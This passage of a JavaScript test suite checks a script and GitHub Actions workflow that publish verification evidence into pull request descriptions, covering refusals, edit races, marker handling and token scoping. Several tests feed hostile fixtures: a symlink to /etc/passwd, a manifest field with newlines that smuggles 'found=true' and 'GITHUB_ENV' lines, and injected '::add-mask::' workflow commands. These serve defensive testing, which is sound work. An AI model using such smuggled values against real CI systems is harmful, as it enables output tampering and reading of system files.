assert.deepEqual(publish(await startedEarlier(), comparing(long, notFound)).said, said, 'a long pull request'); + }); + + it('fails when GitHub does not answer the comparison of the commit the session started on with the base branch, and writes nothing', async () => { + for (const stderr of ['gh: Bad Gateway (HTTP 502)\n', 'error connecting to api.github.com\n', '']) { + const fake = fakeGh(PULL, undefined, [{ sha: COMMIT }], '{"status":"ahead"}'); + const env = await startedEarlier(); + assert.throws( + () => publish(env, comparing(fake, stderr)), + error => + error.message === + `gh could not compare the commit the session started on with the base branch of pull request #669\n${stderr === '' ? '' : `gh: ${stderr.trimEnd()}`}`, + stderr, + ); + assert.equal(fake.state.writtenBody, null, stderr); + } + }); + + it('reads every page of the commits GitHub lists, and stops at the last one', async () => { + const many = Array.from({ length: 230 }, (_, i) => ({ sha: i.toString(16).padStart(40, '0') })); + const pagesRead = fake => fake.state.calls.filter(call => /\/commits\?/.test(call.args[1] ?? '')).length; + const found = fakeGh(PULL, undefined, [...many, { sha: STARTED_ON }, { sha: COMMIT }]); + assert.equal(publish(await startedEarlier(), found).outcome, 'published'); + assert.equal(pagesRead(found), 3); + const absent = fakeGh(PULL, undefined, [...many, ...many, { sha: COMMIT }]); + assert.equal(publish(await startedEarlier(), absent).outcome, 'refused'); + assert.equal(pagesRead(absent), 3); + const short = fakeGh(); + publish(await fetched(), short); + assert.equal(pagesRead(short), 1); + }); + + it('fails when the list of commits cannot be read, and writes nothing', async () => { + const fake = fakeGh(); + const failing = { + gh: (args, options) => + /\/commits\?/.test(args[1] ?? '') ? { status: 1, stderr: 'HTTP 502\n' } : fake.gh(args, options), + }; + const env = await fetched(); + assert.throws(() => publish(env, failing), /gh could not read the commits of pull request #669\ngh: HTTP 502/); + assert.equal(fake.state.writtenBody, null); + }); + + const refusedPulls = [ + { what: 'a closed pull request', change: { state: 'closed' }, why: 'it is not open' }, + { + what: 'a pull request from a fork', + change: { head: { ...PULL.head, repo: { full_name: 'someone/clerk-ios' } } }, + why: 'its branch is in another repository', + }, + { + what: 'a pull request of another branch', + change: { head: { ...PULL.head, ref: 'someone-elses-branch' } }, + why: 'its branch is not the branch the session ran on', + }, + ]; + for (const { what, change, why } of refusedPulls) { + it(`publishes nothing to ${what}`, async () => { + const fake = fakeGh({ ...PULL, ...change }); + const { outcome, said } = publish(await fetched(), fake); + assert.equal(outcome, 'refused'); + assert.equal( + fake.state.calls.some(call => call.args[0] === 'pr'), + false, + ); + assert.deepEqual(said, [ + `notice: Pull request #669 is not the pull request of run 37731397352 (${why}), so nothing is published.`, + ]); + }); + } + + it('publishes nothing when the pull request closes between the first read and the write', async () => { + const fake = fakeGh(PULL, state => void (state.reads === 2 && (state.pull.state = 'closed'))); + const { outcome } = publish(await fetched(), fake); + assert.equal(outcome, 'refused'); + assert.equal(fake.state.writtenBody, null); + }); + + it('does not upload a run that the description already holds in its tables', async () => { + const fake = fakeGh({ ...PULL, body: `intro\n\n${laidOut(SAID, ...AFTER_ONLY)}\n` }); + const { outcome, said } = publish(await fetched(), fake); + assert.equal(outcome, 'already there'); + assert.equal(fake.state.writtenBody, null); + assert.deepEqual(said, [ + 'notice: The description of pull request #669 already holds verify run r20261008-052713-253e.', + ]); + }); + + it('uploads a run again and lays it out when an earlier publish left its files as a list', async () => { + const leftAsAList = fakeGh(PULL, state => void (state.reads === 3 && (state.pull.state = 'closed'))); + assert.equal(publish(await fetched(), leftAsAList).outcome, 'listed'); + const list = leftAsAList.state.pull.body; + assert.ok(list.endsWith(`\r\n${asset(1)}\r\n\r\n![profile](${asset(2)})\r\n\r\n`)); + + const rerun = fakeGh({ ...PULL, body: list }); + assert.equal(publish(await fetched(), rerun).outcome, 'published'); + assert.deepEqual( + rerun.state.calls.filter(call => call.args[0] === 'pr').map(call => call.args.includes('--attach')), + [true, false], + ); + assert.equal(rerun.state.pull.body, `${PULL.body}\r\n${laidOut(SAID, ...AFTER_ONLY).replaceAll('\n', '\r\n')}`); + }); + + it('uploads a run again when an earlier upload left a file reference that was never rewritten', async () => { + const halfUploaded = blockOf(GOOD).replace('./video.mp4', 'https://github.com/user-attachments/assets/1'); + const fake = fakeGh({ ...PULL, body: `intro\n\n${halfUploaded}\n` }); + assert.equal(publish(await fetched(), fake).outcome, 'published'); + assert.equal(fake.state.writtenBody, `intro\n\n${PLACED}\n`); + }); + + it('builds on the newer description when someone edits it between the read and the write', async () => { + const fake = fakeGh(PULL, state => void (state.reads === 2 && (state.pull.body = 'Rewritten by a reviewer.\n'))); + assert.equal(publish(await fetched(), fake).outcome, 'published'); + assert.equal(fake.state.reads, 4); + assert.equal(fake.state.writtenBody, `Rewritten by a reviewer.\n\n${PLACED}`); + assert.equal(fake.state.laidOutBody, `Rewritten by a reviewer.\n\n${laidOut(SAID, ...AFTER_ONLY)}`); + }); + + it('writes nothing when the description changes twice, and says so', async () => { + const fake = fakeGh(PULL, state => void (state.pull.body = `edit ${state.reads}\n`)); + const env = await fetched(); + assert.throws( + () => publish(env, fake), + /changed twice while the evidence was being placed, so nothing was written/, + ); + assert.equal(fake.state.writtenBody, null); + }); + + it('writes nothing to a description whose markers are broken, and says which', async () => { + const fake = fakeGh({ ...PULL, body: 'text\n\nthe end marker was deleted\n' }); + const env = await fetched(); + assert.throws( + () => publish(env, fake), + /has the start marker 1 times and the end marker 0 times, so the evidence has no one place to go/, + ); + assert.equal(fake.state.writtenBody, null); + }); + + it('writes nothing over text between two markers that is not an evidence block', async () => { + const fake = fakeGh({ + ...PULL, + body: '\nreviewer notes\n\n', + }); + const env = await fetched(); + assert.throws(() => publish(env, fake), /has text between the markers that is not an evidence block/); + assert.equal(fake.state.writtenBody, null); + }); + + it('publishes into an empty pair of markers and keeps the text around them', async () => { + const env = await fetched(); + const fake = fakeGh({ + ...PULL, + body: '## Verification\n\n\n\n\n\n## Notes\n', + }); + assert.equal(publish(env, fake).outcome, 'published'); + assert.equal(fake.state.writtenBody, `## Verification\n\n${PLACED}\n\n## Notes\n`); + assert.equal(fake.state.laidOutBody, `## Verification\n\n${laidOut(SAID, ...AFTER_ONLY)}\n\n## Notes\n`); + }); + + it('refuses files that changed after the first step wrote them', async () => { + const env = await fetched(); + fs.rmSync(path.join(env.WORK, 'files', 'profile.png')); + fs.symlinkSync('/etc/passwd', path.join(env.WORK, 'files', 'profile.png')); + assert.throws(() => publish(env, fakeGh()), Refused); + }); + + it('fails with what gh said, one prefixed line each, when gh fails', async () => { + const env = await fetched(); + const fake = fakeGh(); + const failing = { + gh: (args, options) => + args[0] === 'pr' + ? { status: 1, stderr: '::error::from gh\nunsupported authentication type\n' } + : fake.gh(args, options), + }; + assert.throws( + () => publish(env, failing), + error => + error.message === + 'gh pr edit failed for pull request #669\ngh: ::error::from gh\ngh: unsupported authentication type', + ); + }); +}); + +describe('what the workflow can be told by the script', () => { + it('writes each message as one workflow command, whatever the text holds', () => { + assert.equal( + workflowCommand('error', 'gh pr edit failed\ngh: ::add-mask::x\r\n100%'), + '::error title=verify-attach::gh pr edit failed%0Agh: ::add-mask::x%0D%0A100%25', + ); + }); + + it('writes only found=true or found=false to the step outputs', async () => { + const work = workDir(); + const outputs = path.join(path.dirname(work), 'outputs'); + const good = path.join(path.dirname(work), 'good.zip'); + const hostile = path.join(path.dirname(work), 'hostile.zip'); + fs.writeFileSync(good, bundle()); + fs.writeFileSync(hostile, bundle(manifestFor(MEDIA, { device: 'x\nfound=true\nGITHUB_ENV=1' }))); + fs.writeFileSync(outputs, ''); + const lines = []; + assert.equal( + await main(['fetch', '--zip', hostile], { ...ENV, WORK: work, GITHUB_OUTPUT: outputs }, line => lines.push(line)), + 1, + ); + assert.equal(fs.readFileSync(outputs, 'utf8'), ''); + assert.deepEqual(lines, [ + '::error title=verify-attach::The evidence was refused: device is missing or malformed. Nothing is published.', + ]); + assert.equal( + await main(['fetch', '--zip', good], { ...ENV, WORK: work, GITHUB_OUTPUT: outputs }, () => undefined), + 0, + ); + assert.equal( + await main( + ['fetch', '--zip', good], + { ...ENV, RUN_EVENT: 'pull_request', WORK: workDir(), GITHUB_OUTPUT: outputs }, + () => undefined, + ), + 0, + ); + assert.equal(fs.readFileSync(outputs, 'utf8'), 'found=true\nfound=false\n'); + }); +}); + +describe('the workflow', () => { + const here = path.dirname(fileURLToPath(import.meta.url)); + const file = [path.join(here, '..', 'workflows'), path.join(here, '..', '.github', 'workflows')] + .map(dir => path.join(dir, 'verify-attach.yml')) + .find(candidate => fs.existsSync(candidate)); + const workflow = fs.readFileSync(file, 'utf8'); + const steps = workflow + .slice(workflow.indexOf(' steps:\n')) + .split(/\n(?= {6}- )/) + .slice(1); + + it('gives the bot token to the one step that edits the description, and to nothing else', () => { + const holders = steps.filter(step => step.includes('secrets.')); + assert.equal(holders.length, 1); + assert.match(holders[0], /^ {10}GH_TOKEN: \$\{\{ secrets\.VERIFY_EVIDENCE_TOKEN \}\}$/m); + assert.match(holders[0], /^ {8}run: node \S*verify-attach\.mjs publish$/m); + assert.deepEqual(workflow.match(/secrets\.[A-Z_]+[^\n]*/g), [ + "secrets.VERIFY_EVIDENCE_TOKEN != '' }}", + 'secrets.VERIFY_EVIDENCE_TOKEN }}', + ]); + }); + + it('holds the bot token in a job of the verify-evidence environment, which a branch workflow cannot enter', () => { + const jobs = workflow + .slice(workflow.indexOf('\njobs:\n') + '\njobs:\n'.length) + .split(/\n(?= {2}[A-Za-z0-9_-]+:\n)/); + const holders = jobs.filter(job => job.includes('secrets.')); + assert.equal(holders.length, 1); + assert.match(holders[0], /^ {4}environment: verify-evidence$/m); + assert.equal(/^env:/m.test(workflow), false, 'no secret can sit in the env of the whole workflow'); + }); + + it('takes the name of who started the session from the run GitHub records, not from the session', () => { + assert.match(workflow, /^ {6}RUN_ACTOR: \$\{\{ github\.event\.workflow_run\.actor\.login \}\}$/m); + assert.equal(workflow.match(/RUN_ACTOR/g).length, 1); + }); + + it('makes the runs for one branch take turns at the description, and cancels none that has started', () => { + assert.match( + workflow, + /^ {4}concurrency:\n {6}group: verify-attach-\$\{\{ github\.event\.workflow_run\.head_repository\.full_name \}\}-\$\{\{ github\.event\.workflow_run\.head_branch \}\}\n {6}cancel-in-progress: false\n/m, + ); + }); + + it('interpolates nothing into a script, and runs only the script of the commit GitHub chose', () => { + for (const step of steps) { + const run = /^ {8}run: (?:\|\n((?: {10}.*\n?)+)|(.*))$/m.exec(step); + if (run !== null) { + assert.equal((run[1] ?? run[2]).includes('${{'), false, step); + } + } + assert.match(workflow, /^ {10}ref: \$\{\{ github\.sha \}\}$/m); + assert.equal(workflow.includes('download-artifact'), false); + assert.equal(/\b(npm|pnpm|yarn|npx) /.test(workflow), false); + assert.match(workflow, /^permissions:\n {2}actions: read\n {2}contents: read\n\n/m); + assert.equal(/: write\b/.test(workflow), false); + }); + + it('starts only for a dispatched session of this repository', () => { + assert.match(workflow, /^ {6}- verify-remote$/m); + for (const condition of [ + "github.event.workflow_run.event == 'workflow_dispatch'", + "github.event.workflow_run.path == '.github/workflows/verify-remote.yml'", + 'github.event.workflow_run.head_repository.full_name == github.repository', + ]) { + assert.ok(workflow.includes(condition), condition); + } + }); +});